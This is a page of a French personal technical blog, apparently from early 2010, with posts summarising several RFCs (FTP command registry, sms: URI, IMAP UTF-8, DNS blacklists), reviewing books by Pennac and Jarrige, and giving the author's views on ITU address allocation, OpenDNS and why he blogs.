Notre RFC 5797 contient en section 3 le registre initial (on peut trouver la version actuelle en ligne). Il contient plusieurs codes « pseudo-FEAT » (qui n'utilisent pas réellement le système FEAT du RFC 2389 et sont donc écrits en minuscules), comme base (commandes obligatoires), secu (extensions de sécurité du RFC 2228), ou nat6 (extensions pour aider avec les NAT ou avec IPv6, dans le RFC 2428).

C'est ainsi que la commande AUTH est enregistrée comme AUTH+ pour tenir compte des extensions TLS qui avaient été normalisées dans le RFC 4217. On trouve aussi, par exemple, une commande LANG, normalisée dans le RFC 2640, et qui permet d'internationaliser FTP, entre autres en demandant des messages dans d'autres langues que l'anglais.

Les sections 2.4 et 2.5 donnent des explications sur la création du registre initial, à partir des commandes de base (RFC 959), toutes obligatoires (comme USER, ou RETR, l'équivalent du GET de HTTP) ou d'essais depuis abandonnés (par exemple par le RFC 1123).

Créer un registre est une chose, mais il faut le faire vivre ensuite : il est prévu que de nouvelles extensions à FTP soient enregistrées. Selon quels critères ? La section 2.3 (et la section 5) les formalise. L'idée est que le registre sert à éviter les conflits dans les codes utilisés. Il ne signifie pas que les extensions qu'il liste sont « approuvées » ou bien qu'elles représentent une « bonne idée ». Les vérifications faites avant l'enregistrement sont :

  • Qu'une spécification publique de l'extension existe, par exemple un RFC. Tout RFC convient. Pour les autres documents, l'expert appelé pour vérifier l'enregistrement devra s'assurer que l'autre document a bénéficié d'un examen sérieux.
  • Que l'extension a effectivement été mise en œuvre dans un client ou un serveur FTP (dans la tradition du running code de l'IETF).

C'est uniquement si l'extension doit être marquée comme obligatoire qu'il faudra un RFC de statut « Chemin des normes ».

Ces règles sont donc une légère variante des règles « Norme nécessaire » et « Examen par un expert » du RFC 5226.


Téléchargez le RFC 5797


L'article seul

Millième article et quelques statistiques

Première rédaction de cet article le 10 mars 2010


Cet article est le millième de ce blog. C'est donc l'occasion de montrer quelques chiffres sur les nouvelles pages de statistiques.

Aujourd'hui, 10 mars 2010, où le millième article a été atteint, il y a 4,4 millions de caractères différents et 245 milliers de mots. 2376 liens hypertexte sont présents, sans compter les 3720 références à Wikipédia.

C'était plutôt amusant de faire ces statistiques. Est-ce qu'on peut en trouver d'équivalentes pour d'autres blogs ?

Pour des graphiques, voir les statistiques sur le rythme de publication. Pour les techniques utilisées sur ce blog, voir mon article sur la mise en œuvre de ce blog.


L'article seul

L'école, source de chagrin

Première rédaction de cet article le 9 mars 2010


L'école, c'est très bien lorsqu'on est bon élève. Mais lorsqu'on est cancre ? C'est ce qui est arrivé à l'écrivain Daniel Pennac et c'est cette horrible expérience qu'il raconte dans « Chagrin d'école », mi-récit autobiographique, mi-recueil décousu d'anecdotes et de réflexions sur l'école.

L'auteur de « Monsieur Malaussène » (note au passage : je recommande fortement à tous mes lecteurs les romans de Pennac ; et, pour vos enfants, sa série « Kamo ») n'a pas apprécié d'être cancre et il a dû attendre longtemps avant de pouvoir le raconter dans ce livre. Le cancre n'est pas un paresseux, ni un j'men foutiste. Il souffre et l'école n'est pour lui qu'une suite de chagrins.

Qu'est-ce qui fait qu'on est cancre ? Pennac ne donne pas de raison particulière, peut-être n'y en a t-il pas qu'une seule. Les statistiques montrent clairement que les mauvais résultats vont bien avec les familles déglinguées, avec la pauvreté, avec la distance culturelle et sociale vis-à-vis de l'institution. Mais les statistiques ne décrivent pas tous les cas individuels. Un enfant qui cumule les malchances peut quand même réussir (et être présenté dans les médias comme la preuve que chacun peut s'en sortir, s'il travaille bien à l'école). Et un enfant qui a, a priori, des conditions assez favorables, comme Pennac, peut être un cancre, un vrai, un qui ne comprend rien, à qui les profs exaspérés disent « Vous le faites exprès ».

Comment s'en est-il sorti ? Pas de recettes magiques dans ce livre (contrairement à la plupart des ouvrages pontifiants sur l'éducation). Des profs remarquables, qui n'ont pas baissé les bras et fini par établir le contact avec le mauvais élève, sont, selon Pennac, la principale chance de secours pour le cancre.

Pennac ne propose pas la Nième réforme de l'Éducation Nationale, et ne passe pas de temps à se plaindre de la méthode globale, des jeunes d'aujourd'hui, ou bien de Mai 68. (Il se plaint quand même un peu des écrans, comme celui devant lequel vous me lisez en ce moment, et de la société de consommation.) Mais il propose que les profs cultivent une qualité simple (je vous laisse lire le livre, c'est expliqué tout à la fin). Et qu'ils reçoivent des « cours d'ignorance » car, tant que la grande majorité des enseignants sera recrutée parmi les bons élèves, ils auront du mal à vraiment comprendre les cancres.


L'article seul

RFC 5724: URI Scheme for Global System for Mobile Communications (GSM) Short Message Service (SMS)

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : E. Wilde (UC Berkeley), A. Vaha-Sipila (Nokia)
Chemin des normes
Première rédaction de cet article le 9 mars 2010


Il existe des plans d'URI pour tout. Alors, pourquoi pas pour les SMS ? C'est ce que prévoit notre RFC qui ajoute la possibilité d'avoir des liens hypertexte dont la sélection déclenche l'envoi d'un SMS...

D'abord, avec la section 1 du RFC, révisons : le réseau GSM est un réseau de téléphonie mobile très répandu dans certaines parties du monde (en Europe, par exemple), et fonctionnant sur des fréquences comme 900 Mhz, 1800 Mhz, etc. SMS est un service des réseaux GSM qui permet d'envoyer de courts messages texte. Son succès social a été tel que des réseaux non-GSM comme le RNIS l'ont également adopté, et un service de microblogging comme Identi.ca a emprunté bien des points au SMS, comme la longueur maximale d'un message.

Le SMS a en effet une taille maximale, fixée selon des critères un peu complexes (section 1.2.1 du RFC). La norme dit « 160 caractères » mais, limités à sept bits, ce ne sont pas des caractères Unicode. La vraie limite est en fait de 140 octets. Il existe diverses méthodes (typiquement non-standards) pour stocker dans ces 140 octets de l'UTF-16 ou bien des choses rigolotes comme les émoticons.

La délivrance des SMS se fait via un, et parfois plusieurs, serveur, le SMSC (Short Message Service Center).

La section 1.2.4 explique ensuite l'intérêt de spécifier un plan sms pour le Web. Ce dernier est aujourd'hui l'interface principale d'accès à l'information, notamment grâce à l'invention des URI. Parmi les URI, mailto: (RFC 6068) est devenu très populaire, en permettant d'envoyer un message « depuis » une page Web. L'idée est donc de faire pour les SMS ce que mailto: a permis pour le courrier. (Il existe aussi un tel: pour le téléphone, cf. RFC 3966.)

Le RFC note toutefois que, si la plupart des navigateurs permettent d'associer un programme externe à un contenu de type MIME inconnu (sans toucher au code source du navigateur), cette possibilité n'existe en général pas pour les plans d'URI inconnus. Ceux-ci nécessitent en général de modifier le navigateur, ou bien d'utiliser ses fonctions d'accueil de greffons (c'est le cas de Firefox).

Bref, venons en maintenant à la vraie normalisation ; la section 2 définit ce nouveau plan sms. Il s'appuie sur le RFC 3966 pour la syntaxe des numéros de téléphone (en incluant l'erratum 203). La syntaxe formelle des nouveaux URI figure en section 2.2. Un exemple simple est sms:+15105550101. Un exemple plus complexe est sms:+15105550101?body=hello%20there (d'autres exemples figurent en section 2.5). Ce second exemple illustre l'utilisation de champs (ici, un seul champ, body, qui indique le contenu du message) permettant d'étendre l'URI. Pour que l'ajout de champs ultérieurs soit possible, le RFC impose que les champs inconnus soient ignorés.

Pendant qu'on parle du champ body, la section 2.2 précise également son encodage : de l'UTF-8 avec le surencodage pour-cent, comme l'illustre le %20 ci-dessus.

Un RFC décrivant un plan d'URI n'est pas complet sans le formulaire d'enregistrement formel (RFC 4395, section 5.4), qui figure en section 3. sms: est donc désormais dans le registre IANA.

Et naturellement, le RFC se conclus par la section sur la sécurité (section 4), qui rappelle notamment que, l'envoi d'un SMS étant souvent payant pour l'abonné, le navigateur ne doit pas déclencher cet envoi sur un simple clic, il doit demander confirmation ! D'autre part, cette section attire l'attention des utilisateurs sur le fait que le SMS ne présente aucune confidentialité et aucun mécanisme d'authentification, contrairement au courrier électronique.


Téléchargez le RFC 5724


L'article seul

Fiche de lecture : Face au monstre mécanique

Auteur(s) du livre : François Jarrige
Éditeur : IMHO
978-2-915517-2-3-85
Publié en 2009
Première rédaction de cet article le 6 mars 2010


Depuis que la technique est utilisée pour rendre la vie plus pénible, il y a des résistances. Telle est, très résumée, la ligne directrice de ce livre de François Jarrige. Si sa sympathie va plutôt à ces résistants, l'intérêt principal de ce court livre est surtout de dresser un tableau complet, quoique très résumé, des principaux épisodes de la résistance au « monstre mécanique ».

Il est facile (et fréquent) de ricaner devant ces opposants, de les disqualifier en les traitant de « luddites » et de faire remarquer que, dans tous les cas, ils n'ont pas arrêté le progrès, qui a fini par écraser (avec toutefois l'aide de la police et de l'armée) toute résistance. Il y aurait beaucoup à dire sur le thème « Avaient-ils raison ou pas ? » Après tout, dans presque tous les cas de révolte « anti-machines », l'introduction des machines permettait effectivement un recul considérable des conditions de vie et de travail des révoltés. Il ne s'agissait nullement de la lutte du progrès contre le conservatisme mais bien de lutte des classes. Mais ce n'est pas l'angle choisi par François Jarrige qui cherche plutôt à montrer que les révoltes sont anciennes, qu'elles ont toujours existé et que l'utilisation des techniques modernes pour accroître l'exploitation a toujours suscité des résistances.

Il part donc de l'antiquité (les Grecs antiques refusaient-ils le progrès technique ?), puis continue avec le Moyen Âge (refus des grands moulins, non pas par pur aveuglément d'ignorants mais parce que ces moulins, centralisés et chers, marquaient surtout une conquête du pouvoir seigneurial ou marchand et une perte d'indépendance pour les familles paysannes).

Mais c'est évidemment la révolution industrielle qui mettra en évidence la « résistance au monstre mécanique ». Ladite révolution provoquera les misères les plus inouïes et aussi les révoltes les plus vives, en général réprimées dans le sang.

Au vingtième siècle, il y a moins d'opposition violente au déploiement de nouvelles techniques mais des inquiétudes nouvelles, par exemple face aux risques du nucléaire, ou des manipulations génétiques. Contrairement à ce que prétend souvent la propagande scientiste, les opposants à ces techniques ne sont pas forcément des abrutis ignorants. Souvent, ils sont eux-mêmes experts dans les techniques dont ils dénoncent les risques. (Une critique au passage : François Jarrige mélange, aux vrais opposants, des cinglés comme Theodore Kaczynski dont le discours pseudo-intellectuel se réduisait à des longs délires. Citer cet assassin dans la longue lignée des résistants au monstre mécanique affaiblit sérieusement le discours.)

À toutes les étapes de cette résistance, les pouvoirs en place, drapés derrière l'argument du progrès, ont utilisé la force et tenté de ridiculiser les opposants en leur opposant l'inévitabilité du progrès. C'est oublier que le progrès n'est pas une entité douée d'autonomie : chaque déploiement d'une technique a été décidé et exécuté par des hommes, qui ont fait le choix d'une certaine direction, en fonction de leurs intérêts. D'autres choix auraient été possibles même si, la plupart du temps, même cette idée de choix est écartée d'un revers de main.


L'article seul

Tester la robustesse des serveurs DNS avec Scapy

Première rédaction de cet article le 4 mars 2010


Un serveur réseau connecté à l'Internet doit être robuste car il va voir des tas de paquets mal formés (soit par accident, soit par méchanceté) et ne devra pas planter, encore moins permettre une attaque. Un des outils pour tester facilement la robustesse d'un serveur est Scapy. Voyons son application à des serveurs DNS.


L'article complet

RFC 5738: IMAP Support for UTF-8

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : P. Resnick (Qualcomm), C. Newman (Sun)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 4 mars 2010


Presque toutes les normes produites par l'IETF sont désormais complètement internationalisées. Il reste quelques trous par-ci, par-là, qui sont comblés lentement. Par exemple, notre RFC 5738 normalise le support d'Unicode par le protocole IMAP d'accès aux boîtes aux lettres. (Il a depuis été remplacé par le RFC 6855.)

Normalisé dans le RFC 3501, IMAP permet d'accéder à des boîtes aux lettres situées sur un serveur distant. Ces boîtes peuvent désormais avoir des noms en Unicode, les utilisateurs peuvent utiliser Unicode pour se nommer et les adresses gérées peuvent être en Unicode. L'encodage utilisé est UTF-8 (RFC 3629). Ce RFC 5738 fait donc partie de la série de RFC du groupe de travail EAI qui normalise un courrier électronique complètement international.

Tout commence par la possibilité d'indiquer le support d'UTF-8. Un serveur IMAP, à l'ouverture de la connexion, indique les extensions d'IMAP qu'il gère et notre RFC en crée une nouvelle, UTF8=ACCEPT (section 3). Par le biais de l'extension ENABLE (RFC 5161), le client peut à son tour indiquer qu'il va utiliser UTF-8. La section 3.1 détaille la représentation des chaînes de caractères UTF-8 sur le réseau.

Des commandes IMAP prennent désormais un paramètre UTF8. C'est le cas de SELECT et EXAMINE (section 3.2) qui permettent de manipuler les boîtes aux lettres. L'utilisation de ce paramètre par le client lors de la sélection d'une boîte change la sémantique de certaines commandes. Par exemple, toute commande qui indique la taille de la boîte aux lettres doit désormais compter en caractères Unicode et non plus en octets.

Les nouvelles capacités sont toutes décrites dans la section 10 et enregistrées dans le registre IANA.

On peut désormais imaginer des boîtes aux lettres qui ne puissent être manipulées qu'en UTF-8. Dans ce cas, elles ne doivent pas être indiquées par défaut dans le résultat d'une commande LIST (sauf extensions de celle-ci, cf. RFC 5258), puisqu'elles ne pourraient pas forcément être sélectionnées ensuite. À noter qu'IMAP disposait depuis longtemps d'une astuce pour représenter les boîtes aux lettres dont les noms comportaient des caractères non-ASCII, la IMAP Mailbox International Naming Convention (RFC 3501, section 5.1.3). Elle n'a jamais donné satisfaction et la section 3.3 de notre RFC 5738 recommande de l'abandonner.

Il n'y a bien sûr pas que les boîtes, il y a aussi les noms d'utilisateurs qui peuvent être en Unicode (capacité UTF8=USER), et la section 5 spécifie ce point, en demandant que ces noms soient canonicalisés avec SASLprep (RFC 4013). Le RFC note (annexe A) que le serveur IMAP s'appuie souvent sur un système d'authentification externe (comme /etc/passwd sur Unix) et que, de toute façon, ce système n'est pas forcément UTF-8.

Aujourd'hui, rares sont les serveurs IMAP qui gèrent l'UTF-8. Mais, dans le futur, on peut espérer que l'internationalisation devienne la norme et la limitation à US-ASCII l'exception. Pour cet avenir radieux, la section 7 du RFC prévoit une capacité UTF8=ONLY. Si le serveur l'annonce, cela indique qu'il ne gère plus l'ASCII seul, que tout est en UTF-8 (un tel serveur, en 2010, n'aurait guère de clients...)

Outre les noms des boîtes et ceux des utilisateurs, cette norme IMAP UTF-8 permet à un serveur de stocker et de distribuer des messages dont les en-têtes sont en UTF-8, comme le prévoit le RFC 6532. Si son client ne gère pas UTF-8, le serveur doit alors (section 9) dégrader le messages en ASCII seul, comme expliqué dans le RFC 5504.

Chose relativement rare dans un RFC, l'annexe A contient une discussion détaillée des choix effectués et des raisons de ces choix. Par exemple, le fait que l'accès aux boîtes en UTF-8 se configure boîte par boîte et pas pour tout le serveur, a pour but de permettre aux serveurs existants de ne pas avoir à convertir toutes les boîtes stockées en UTF-8, lors de la mise à jour du logiciel.

Je ne connais pas encore d'implémentation en logiciel libre. À noter que ce RFC a été mis à jour et que la nouvelle version est le RFC 6855.


Téléchargez le RFC 5738


L'article seul

L'UIT veut devenir RIR

Première rédaction de cet article le 2 mars 2010


Gageons que cet appel à la mobilisation populaire et citoyenne ne soulèvera pas des tempêtes et ne fera pas descendre les foules dans la rue : les RIR ont lancé un cri d'alarme contre des projets de l'UIT de devenir elle-même un RIR. Est-ce grave, docteur ?

Il existe actuellement cinq RIR qui ont le monopole de l'allocation des adresses IP, chacun dans une région du monde. L'UIT, rassemblement des dinosaures des télécommunications , souffre depuis de nombreuses années d'être complètement tenue à l'écart de la gouvernance Internet, domaine qui lui a toujours échappé en raison de son aveuglément : elle n'a absolument pas vu venir le développement de l'Internet. Celui-ci est donc piloté par d'autres organisations, qui ont établi une règle de non-concurrence, ce qui frustre l'UIT.

Celle-ci se lance donc depuis des années dans des projets, même bidons, qui lui donnent l'impression d'exister. C'est le cas de la soi-disant recherche sur l'utilisation des classes du DNS, ou, plus sérieusement, des tentatives répétées de l'UIT d'avoir un rôle dans l'allocation des adresses IP.

Difficile de résumer les prétentions de l'UIT car cette organisation est plutôt secrète. Les documents en cours ne sont pas forcément publiés, il n'y a pas de discussion sur les listes de diffusion (car elles laissent des traces, ce que n'aiment pas les gouvernements) et tout se décide derrière des portes fermées. On trouve des textes sur le site Web de l'UIT mais en vrac, sans indication claire des revendications de cette organisation. Celles-ci passent plutôt par des documents non officiels commandés à des consultants comme « An Expansionary Approach towards the IPv6 Address Allocation Model » (présenté à l'IGF en novembre 2009).

Donc, il n'y a pas un projet bien clair de l'UIT. Disons que ce qui se dessine à travers les études demandées par l'UIT et quelques déclarations publiques serait la demande de l'UIT de devenir sixième RIR, un RIR à compétence internationale, contrairement aux cinq autres. En outre, l'UIT présente favorablement un mécanisme où il existerait des registres Internet nationaux, les CIR (Country Internet Registry). Aussi bien les partisans que les adversaires du projet oublient d'ailleurs toujours soigneusement qu'il existe depuis longtemps de tels registres nationaux, les NIR (National Internet Registry), par exemple au Japon ou au Mexique. Et ils ont également existé dans d'autres pays qui n'ont pas poursuivi l'expérience, comme la France où, pendant des années, le « NIC-France » gérait à la fois .fr et l'allocation d'adresses IP.

Face à cette demande encore vague de l'UIT, c'est la mobilisation générale. Les RIR existants, peu soucieux de voir arriver un concurrent, dénoncent publiquement le projet comme si les Barbares étaient déjà à nos portes. La campagne a particulièrement de succès sur les listes de diffusion états-uniennes comme NANOG. Les arguments sont souvent du dernier ridicule comme le texte qui prétend poser des questions, tout en donnant les réponses comme « If the ITU were to become an Internet registry, how would the ITU model affect the existing RIR model of open, bottom-up, and consensus-driven policy-making? ». Les RIR sont certes plus ouverts que l'UIT (ce n'est pas difficile) mais cette ouverture consiste surtout en la possibilité pour n'importe quel utilisateur de s'inscrire sur les listes de diffusion du RIR et de s'exprimer. (Pour le RIPE-NCC, voir http://www.ripe.net/ripe/maillists/index.html.) Cela ne lui donne aucun pouvoir, même minime. Les décisions sont prises par les membres, uniquement des opérateurs réseau. Pour paraphraser Soljénitsyne, si le monde de l'UIT, c'est « Ferme ta gueule », celui des RIR est « Cause toujours ».

Un argument fréquent donné en faveur du système des RIR est que « le système marche ». C'est certain mais est-ce que cela veut dire qu'il ne faut rien changer. Le système est loin d'être parfait. Ainsi, les RIR ont bloqué pendant des années l'allocation d'adresses IPv6 car la pénurie n'existant pas pour ce protocole, leur pouvoir d'allocation (ou de refus) était diminué. Et, en effet, le système actuel d'allocation « à ceux qui en ont besoin » favorise les riches, qui ont évidemment besoin de plus d'adresses IP que ceux qui n'ont pas l'électricité. Les adresses IPv4 ont donc largement été réservées par l'Europe et l'Amérique du Nord.

Est-ce que l'arrivée de l'UIT sur ce marché des adresses IP va changer les choses ? Probablement pas. L'UIT étant une organisation ultra-bureaucratique et très inefficace, il est probable que très peu de gens viendront la voir pour des adresses IP, avec toute la paperasserie qu'il faudra remplir. Si l'UIT devenait RIR, il y aurait quelques allocations faites pour deux ou trois gouvernements et ça s'arrêtera là. On peut donc laisser l'UIT jouer avec, cela ne fait de mal à personne. Il est donc très curieux de voir les RIR se comporter comme si l'avenir de l'Internet était en jeu. Leur surréaction est probablement due à des motivations idéologiques plus qu'autre chose.

Cette surréaction est en outre curieusement à front renversé. C'est l'UIT, émanation des gouvernements, qui réclame la concurrence entre RIR, et ce sont les RIR, émanation d'entreprises capitalistes, qui réclament le monopole ! Les membres des RIR, qui, dans leur business quotidien, réclament tous le minimum de contraintes, veulent ici maintenir un système de guilde moyenâgeuse. Si on considère les adresses IP comme une ressource publique, il serait en effet logique qu'elles soient gérées en dehors du marché, par un service public. Mais ce n'est pas ce que réclament les RIR, ils veulent simplement péreniser le cartel privé existant.

Beaucoup d'opposants au projet UIT relèvent que les soutiens de ce projet sont souvent des dictatures comme la Syrie. Cet argument est très hypocrite si on songe que les opérateurs réseau (les membres des RIR), comme les fournisseurs de matériel et de logiciel, n'hésitent pas à coopérer avec les dites dictatures, leur fournissent des moyens et suivent leurs lois. Et dire que, derrière tout projet UIT, se profile la dictature contre l'Internet, c'est oublier que les gouvernements, pour faire voter et appliquer des lois liberticides comme LOPPSI, ou les opérateurs pour violer la neutralité du réseau (par exemple en déployant des DNS menteurs), n'ont jamais eu besoin d'attendre l'UIT.

Bref, il n'y a dans ce psychodrame rien pour le simple utilisateur, qui reste exclu de toutes les discussions qui le concernent. Comme dit le proverbe chinois, « Que les éléphants se battent ou qu'ils fassent l'amour, les fourmis se font écraser. ».


L'article seul

Pourquoi et comment je blogue

Première rédaction de cet article le 28 février 2010
Dernière mise à jour le 16 juin 2011


Bloguer pour dire qu'on blogue est une activité courante, qui a même un nom, le metablogging (les blogs qui parlent des blogs). Et moi, pourquoi est-ce que je blogue ? Et comment ? Et que peuvent attendre (ou pas) les lecteurs ?

Quelles sont les raisons pour lesquelles je blogue ? Il y en a plusieurs, que je livre ici dans un ordre à peu près d'importance décroissante :

  • Pour les articles parlant de sujets informatiques, ma motivation principale est de garder une documentation, pour moi, de techniques que j'ai utilisées mais que je risque d'avoir oublié lorsque j'en aurai besoin à nouveau dans quelques mois ou quelques années. Tiens, ça aussi ça a un nom, le PKM (Personal Knowledge Management). C'est pour cela que j'ai développé des outils permettant de faire des recherches dans cette base. Il m'est déjà arrivé plusieurs fois de retrouver sur mon blog une technique utile par ce biais, alors que je n'en avais gardé aucun souvenir.
  • Diffuser des idées personnelles (bon, je sais que, au milieu des zillions de sources d'informations qui existent sur le Web, peu de gens me liront, mais c'est mieux que rien).
  • Pour les sujets techniques, avoir une documentation toute faite lorsque je trouve, sur une liste de diffusion ou bien sur un site de Q&A une question à laquelle je peux répondre ; cela m'évite de re-rédiger tout à chaque fois.
  • Me faire de la publicité et obtenir ainsi des propositions d'embauche pour des boulots de rêve (intéressants, bien payés et sympas). Bon, cela ne fonctionne pas toujours mais c'est toujours amusant de se construire une réputation. (Ça a aussi un nom, le personal branding, fort bien expliqué par Morgane Tual.)
  • Aider l'humanité. Pour deux des motivations citées (PKM et documentations pour répondre sur les forums), j'utilisais autrefois des fichiers texte locaux, gérés avec un VCS (ce qui permettait entre autres leur synchronisation facile entre différentes machines). Si j'étais gravement misanthrope, j'aurais pu continuer ainsi (je le fais toujours pour des documentations privées). Mais rendre ces textes publics, si cela oblige à un effort supplémentaire, a l'avantage de permettre que ce travail profite également à d'autres. Des millions de fois, dans ma vie d'informaticien (et quelquefois dans ma vie tout court), j'ai bénéficié directement d'une information trouvée sur l'Internet, et cela gratuitement. Je remercie donc tous ceux qui ont rédigé et publié ces informations (je ne l'ai pas fait à chaque fois, j'aurais dû). Et j'essaie de contribuer, moi aussi. (D'ailleurs, si ce blog vous plait, vous pouvez m'envoyer champagne et chocolats mais aussi, et c'est sans doute plus utile, en faire autant : « Share what you know, learn what you don't ».)

Donc, si certains articles de ce blog peuvent être utiles aux autres, tant mieux. Toutefois, je dois les mettre en garde :

  • Je ne peux offrir aucune garantie de mise à jour (et, dans le domaine informatique, le savoir se périme parfois). Ce n'est pas uniquement par paresse, c'est aussi parce que le nombre d'articles augmente régulièrement et que, si je m'engageais à garder à jour chaque article, au bout d'un moment, je n'aurais plus de temps pour les nouveaux articles.
  • Je ne donne aucune garantie de continuer à bloguer régulièrement. Je ne sais pas si ça m'intéressera toujours. Et j'ai régulièrement des obligations professionnelles ou personnelles qui ralentissent le rythme de publication.

Par contre, je garantis :

  • Que je vérifie soigneusement ce que j'écris. Je relis, je contrôle, lorsqu'il s'agit d'informatique, je teste. Mais évidemment, le temps manque parfois et, de toute façon, je ne suis pas infaillible. Il y a donc des erreurs dans ce blog (pas autant que dans un discours de Hortefeux sur la sécurité mais, quand même, il y en a) et, si vous utilisez les techniques dont je parle, c'est à vos propres risques.
  • Que les pages HTML sont bien du HTML valide et que les fichiers sources en XML sont également valides selon le schéma que j'utilise. Bon, ça a une importance pratique très faible mais ça m'a coûté assez de travail pour avoir un système de publication qui permet cela, donc je le mentionne.
  • Que je lis soigneusement tous les messages envoyés par les lecteurs. D'accord, ce blog ne permet pas les commentaires mais, en compensation, je lis bien tous les messages reçus (et, normalement, j'y réponds, même si ce n'est pas forcément dans la même semaine).

Sur la question des (nombreux) liens vers Wikipédia, je vous renvoie à un autre article, « Ma politique de liens vers Wikipédia ».

Sur la question de la langue (presque tous les articles de ce blog sont en français, voir les chiffres exacts, alors qu'écrire en anglais me vaudrait certainement plus d'audience) :

  • Je rédige nettement mieux en français qu'en anglais.
  • D'autre part, sur certains sujets que je traite, il y a déjà pléthore de textes en anglais mais presque rien en français. Sur DNSSEC, par exemple, la valeur ajoutée (pour parler comme les gens du marketing) d'un blog en anglais de plus est faible.

En parlant du français, j'ai écrit un article sur les termes techniques en français que j'utilise.

J'ai aussi un cahier des charges technique pour ce blog, qui est exposé dans l'article « Mise en œuvre de ce blog ».

Ah, je n'ai pas parlé des questions de licence, par manque de temps, mais ce blog est sous une licence libre (la GFDL), pour permettre à tous de le réutiliser à peu près comme ils veulent. Un bon texte décrivant pourquoi mettre son blog sous une telle licence est « Pourquoi je publie en Creative Commons ».

Quelques autres articles de metablogging qui m'ont inspiré :

Parmi tous les articles qui parlent des blogs et des raisons pour lesquelles les gens bloguent, je recommande « Why we blog ».


L'article seul

Transformer un document XML, le cas de mes liens Wikipédia

Première rédaction de cet article le 26 février 2010
Dernière mise à jour le 4 mars 2010


Comme le savent mes fidèles lecteurs, ce blog comporte pas mal de liens vers Wikipédia (plusieurs milliers différents) pour expliquer un sigle, une technique ou un concept. J'essaie de les vérifier mais, évidemment, certaines tâches sont mieux faites par un logiciel qu'à la main. C'est le cas de la désambiguation de sigles (mettre un lien Wikipédia vers Domain Name System plutôt que vers DNS qui est ambigu). Ce blog étant réalisé en XML, est-il facile d'utiliser les techniques XML pour remplacer toutes les occurrences de <wikipedia name="DNS"> par <wikipedia name="Domain Name System"> ? Non, et c'est pour cela que j'ai dû récemment adopter une nouvelle méthode.

L'ancienne méthode reposait sur un principe simple : la force de XML est la disponibilité d'un très grand nombre d'outils facilitant les tâches du programmeur (par exemple XSLT). Il semblait donc simple d'écrire un programme XSLT qui assurait ce remplacement des acronymes par des extensions, s'assurant ainsi que le lien vers « FAI » allait bien aboutir sur la page « Fournisseur d'accès à Internet » et pas sur la « Fédération anarchiste ibérique » ou bien sur la page d'homonymie.

Mais ce programme très simple n'est pas, je trouve, adapté à mes méthodes d'écriture. En effet, s'il respecte l'infoset (le document XML abstrait, avec sa structure et son contenu), il ne respecte pas du tout la syntaxe. Par exemple, il remplace les entités XML alors que je voudrais les garder pour faciliter l'édition (regardez le source XML de cet article, par exemple, avec l'entité &rfced;). C'est une limite fondamentale de tous les outils XML.

Il peut donc être préférable (oui, je sais, c'est un affreux bricolage) de travailler au niveau du texte, par exemple avec des expressions rationnelles. Ce n'est en général pas conseillé du tout (XML a une syntaxe contextuelle et ne peut en général pas s'analyser uniquement avec des expressions rationnelles, une petite recherche sur Stack Overflow montre en effet plein d'articles sur la question). Mais, ici, c'est la seule solution que j'ai trouvé (c'est aussi parce que je voulais travailler sur le fichier avec les acronymes expansés, autrement j'aurais pu juste rajouter une étape au traitement qui va du source XML à la page HTML).

Donc, comment est-ce que je fais ? (Le programme responsable est scripts/canon-wp.py si vous récupérez l'archive complète des programmes de ce blog.) Le programme est en Python et utilise le module d'expressions rationnelles. Il lit un fichier texte (schemas/wikipedia-repl.txt dans l'archive du blog), cherche un lien <wikipedia> et remplace éventuellement le nom de l'article de Wikipédia. Un exemple d'une partie de la table est :

...
CMS Système de gestion de contenu
CPU Processeur
CSS Feuilles de style en cascade
CVS Concurrent versions system
...

L'expression rationnelle utilisée (et qui est loin d'être parfaite, voir les commentaires dans le programme) est :


(.*?)<wikipedia *((( |^ *)name *= *\"([^\"]+)\" *>([^<]+))|(*>([^<]+)))</wikipedia>

Une alternative possible, suggérée par Emmanuel Saint-James, est de travailler avec SAX, qui respecte les entités. Je testerai ça un jour, avec la bibliothèque Sax de Python.


L'article seul

OpenDNS adopte DNScurve

Première rédaction de cet article le 24 février 2010


Le 23 février, OpenDNS a annoncé qu'ils adoptaient DNScurve sur leurs serveurs de noms. Cette annonce n'aura aucune conséquence pratique puisqu'il n'existe quasiment aucune zone DNS sécurisée par DNScurve (on notera notamment que les domaines officiels, opendns.com et dnscurve.org ne sont pas protégés par DNScurve).

Je ne vais pas revenir sur ce que j'ai déjà écrit sur OpenDNS ou sur DNScurve. Je voulais juste ajouter que l'annonce officielle explique bien pourquoi OpenDNS ne veut pas de DNSSEC : «  It [DNSSEC] also fundamentally hampers services like OpenDNS, which use DNS to provide content filtering and search services. ». Traduit en clair : « DNSSEC nous empêche de mentir, or c'est notre cœur de métier. » (« search services » est le terme euphémistique pour « réécriture des réponses DNS légitimes »).


L'article seul

RFC 5791: RFC 2731 ("Encoding Dublin Core Metadata in HTML") is Obsolete

Date de publication du RFC : Février 2010
Auteur(s) du RFC : J. Reschke (Greenbytes), J. Kunze (University of California)
Pour information
Première rédaction de cet article le 23 février 2010


Un ultra-court RFC pour dire simplement que l'IETF a abandonné tout travail sur la représentation en HTML de la norme de métadonnées Dublin Core (cf. RFC 5013).

Cette norme avait connu un RFC, le RFC 2731 mais, depuis, tout le travail d'évolution s'est fait au sein de la Dublin Core Metadata Initiative. C'est donc désormais sur le site Web de celle-ci qu'il faudra aller chercher des informations.


Téléchargez le RFC 5791


L'article seul

RFC 5782: DNS Blacklists and Whitelists

Date de publication du RFC : Février 2010
Auteur(s) du RFC : J. Levine (Taughannock)
Pour information
Première rédaction de cet article le 19 février 2010
Dernière mise à jour le 25 février 2010


Le spam est un tel problème pour le courrier électronique d'aujourd'hui, que de nombreuses techniques ont été développées pour le limiter. Comme toujours en sécurité informatique, il n'y a pas de solution idéale, juste des compromis entre trop de sécurité (et on bloque du courrier légitime) et pas assez (et on est noyés par le spam). Dans cet arsenal de techniques, une des plus courantes et des plus contestées est la liste noire, ou DNSBL (DNS black list). Bien que très largement déployée, elle n'avait jamais fait l'objet d'une documentation formelle, ce qui est désormais le cas, avec ce RFC.

Le principe d'une DNSBL est de distribuer, via le DNS, de l'information sur des machines (identifiées par leur adresse IP) qui ont envoyé du spam, ou bien sont susceptibles de le faire. Le problème n'est pas tant dans la technique utilisée (même si certains déplorent qu'on charge la barque du DNS en lui confiant de plus en plus de missions) que dans la gestion de ces listes. La grande majorité sont gérées de manière opaque, par des gens irresponsables, qui inscrivent ou désinscrivent un peu comme ça leur chante.

